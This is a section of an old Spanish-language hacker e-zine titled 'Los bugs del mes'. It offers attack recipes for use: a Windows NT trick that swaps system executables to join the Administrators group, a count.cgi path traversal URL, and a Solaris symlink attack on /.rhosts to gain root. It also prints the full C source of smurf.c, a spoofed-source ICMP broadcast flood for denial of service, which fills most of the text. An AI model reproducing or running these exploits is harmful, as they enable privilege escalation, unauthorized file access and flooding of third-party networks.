oAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAo A 10 - LOS BUGS DEL MES - A A A oAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAo Para: Windows NT Tema: Ganar privilegios Patch: Estar ojo avizor :-) 1.- Arranca desde un disco de sistema de Windows 95 2.- Copia musrmgr.exe al directorio %systemroot%\system32 3.- Renombra atsvc.exe como te apetezca 4.- La copia de musrmgr.exe ahora la renombras atsvc.exe 5.- Apaga y vuelve a encender. Descripcion y Notas: El sistema tratara de lanzar el Scheduler (atsvc.exe) pero en su lugar ejecutara el User Manager cuando entremos y nos dara la oportunidad de a€adirnos al grupo de Administradores. Para: count.cgi Tema: Bug raro Patch: Supuestamente Credits: RD http://www.victima.com/cgi-bin/Count.cgi?display=image&image= ../../../../../../ruta_al_gif/file.gif Descripcion y Notas: Con la URL anterior y si conocemos la ruta exacta de un fichero GIF podemos hacer download del mismo, la utilidad practica no parece mucha salvo que nos molen los sites porno y no nos mole pagar, en ese caso si tenemos una idea del camino a las imagenes y de los nombres que pueden tener hay posibilidades de conseguir algo por nada. Para: Solaris 2.4 Tema: Licencia Patch: Por descontado Credits: BlackWizard rm /var/tmp/locksuntechd ln -s /.rhosts /var/tmp/locksuntechd lmstat -c Descripcion y Notas: El manager de licencias debe estar ejecutandose y lmgrd.ste & suntechd estar en la tabla de procesos. Si os acordais el numero pasado de BlackWizard pidiendo un bug para Solaris pues bien ha mandado 7 tras haber conseguido root que estamos seguro administrara sabiamente. Para: Redes Tema: Jorobar de mala manera Patch: Diversos Credits: Tfreak #include #include #include #include #include #include #include #include #include #include #include #include #include #include void banner(void); void usage(char *); void smurf(int, struct sockaddr_in, u_long, int); void ctrlc(int); unsigned int host2ip(char *hostname); unsigned short in_chksum(u_short *, int); unsigned int host2ip(char *hostname) { static struct in_addr i; struct hostent *h; i.s_addr = inet_addr(hostname); if (i.s_addr == -1) { h = gethostbyname(hostname); if (h == NULL) { fprintf(stderr, "can't find %s\n.", hostname); exit(0); } bcopy(h->h_addr, (char *) &i.s_addr, h->h_length); } return i.s_addr; } /* stamp */ char id[] = "$Id smurf.c,v 5.0 97/10/13 22:37:21 CDT griffin Exp $"; int main(int argc, char *argv[]) { struct sockaddr_in sin; FILE *bcastfile; int i, sock, bcast, delay, num, pktsize, cycle = 0, x; char buf[32], **bcastaddr = malloc(8192); banner(); signal(SIGINT, ctrlc); if (argc < 6) usage(argv[0]); sin.sin_addr.s_addr = host2ip(argv[1]); sin.sin_family = AF_INET; num = atoi(argv[3]); delay = atoi(argv[4]); pktsize = atoi(argv[5]); if ((bcastfile = fopen(argv[2], "r")) == NULL) { perror("opening bcast file"); exit(-1); } x = 0; while (!feof(bcastfile)) { fgets(buf, 32, bcastfile); if (buf[0] == '#' || buf[0] == '\n' || !isdigit(buf[0])) continue; for (i = 0; i < strlen(buf); i++) if (buf[i] == '\n') buf[i] = '\0'; bcastaddr[x] = malloc(32); strcpy(bcastaddr[x], buf); x++; } bcastaddr[x] = 0x0; fclose(bcastfile); if (x == 0) { fprintf(stderr, "ERROR: no broadcasts found in file %s\n\n", argv[2]); exit(-1); } if (pktsize > 1024) { fprintf(stderr, "ERROR: packet size must be < 1024\n\n"); exit(-1); } if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { perror("getting socket"); exit(-1); } setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *) &bcast, sizeof(bcast)); printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]); for (i = 0; i < num || !num; i++) { if (!(i % 25)) { printf("."); fflush(stdout); } smurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize); cycle++; if (bcastaddr[cycle] == 0x0) cycle = 0; usleep(delay); } puts("\n\n"); return 0; } void banner(void) { puts("\nsmurf.c v5.0 by TFreak, ported by Griffin\n"); } void usage(char *prog) { fprintf(stderr, "usage: %s " " \n\n" "target = address to hit\n" "bcast file = file to read broadcast addresses from\n" "num packets = number of packets to send (0 = flood)\n" "packet delay = wait between each packet (in ms)\n" "packet size = size of packet (< 1024)\n\n", prog); exit(-1); } void smurf(int sock, struct sockaddr_in sin, u_long dest, int psize) { struct ip *ip; struct icmp *icmp; char *packet; int hincl = 1; packet = malloc(sizeof(struct ip) + sizeof(struct icmp) + psize); ip = (struct ip *) packet; icmp = (struct icmp *) (packet + sizeof(struct ip)); memset(packet, 0, sizeof(struct ip) + sizeof(struct icmp) + psize); setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &hincl, sizeof(hincl)); ip->ip_len = sizeof(struct ip) + sizeof(struct icmp) + psize; ip->ip_hl = sizeof *ip >> 2; ip->ip_v = 4; ip->ip_ttl = 255; ip->ip_tos = 0; ip->ip_off = 0; ip->ip_id = htons(getpid()); ip->ip_p = 1; ip->ip_src.s_addr = sin.sin_addr.s_addr; ip->ip_dst.s_addr = dest; ip->ip_sum = 0; icmp->icmp_type = 8; icmp->icmp_code = 0; icmp->icmp_cksum = htons(~(ICMP_ECHO << 8)); sendto(sock, packet, sizeof(struct ip) + sizeof(struct icmp) + psize, 0, (struct sockaddr *) & sin, sizeof(struct sockaddr)); free(packet); /* free willy! */ } void ctrlc(int ignored) { puts("\nDone!\n"); exit(1); } unsigned short in_chksum(u_short * addr, int len) { register int nleft = len; register int sum = 0; u_short answer = 0; while (nleft > 1) { sum += *addr++; nleft -= 2; } if (nleft == 1) { *(u_char *) (&answer) = *(u_char *) addr; sum += answer; } sum = (sum >> 16) + (sum + 0xffff); sum += (sum >> 16); answer = ~sum; return (answer); } Descripcion y Notas: El codigo de arriba era original en Linux pero ha sido portado a ***BSD y este es el que publicamos, se trata de un ataque muy divertido, basicamente mandamos un echo_request a todas las broadcast que podamos conocer (unas 25.000 suele ser una buena cifra) con un origen falseado, que Dios se apiade del pobre pollo al que hayamos guipado la direccion cuando empiece a recibir respuestas porque va a necesitar 18 Alphas en paralelo y un ancho de banda de 77 Mb/s si quiere ejecutar el NotePad. Ah!. Este ataque es potencialmente peligroso o sea que usese con precaucion.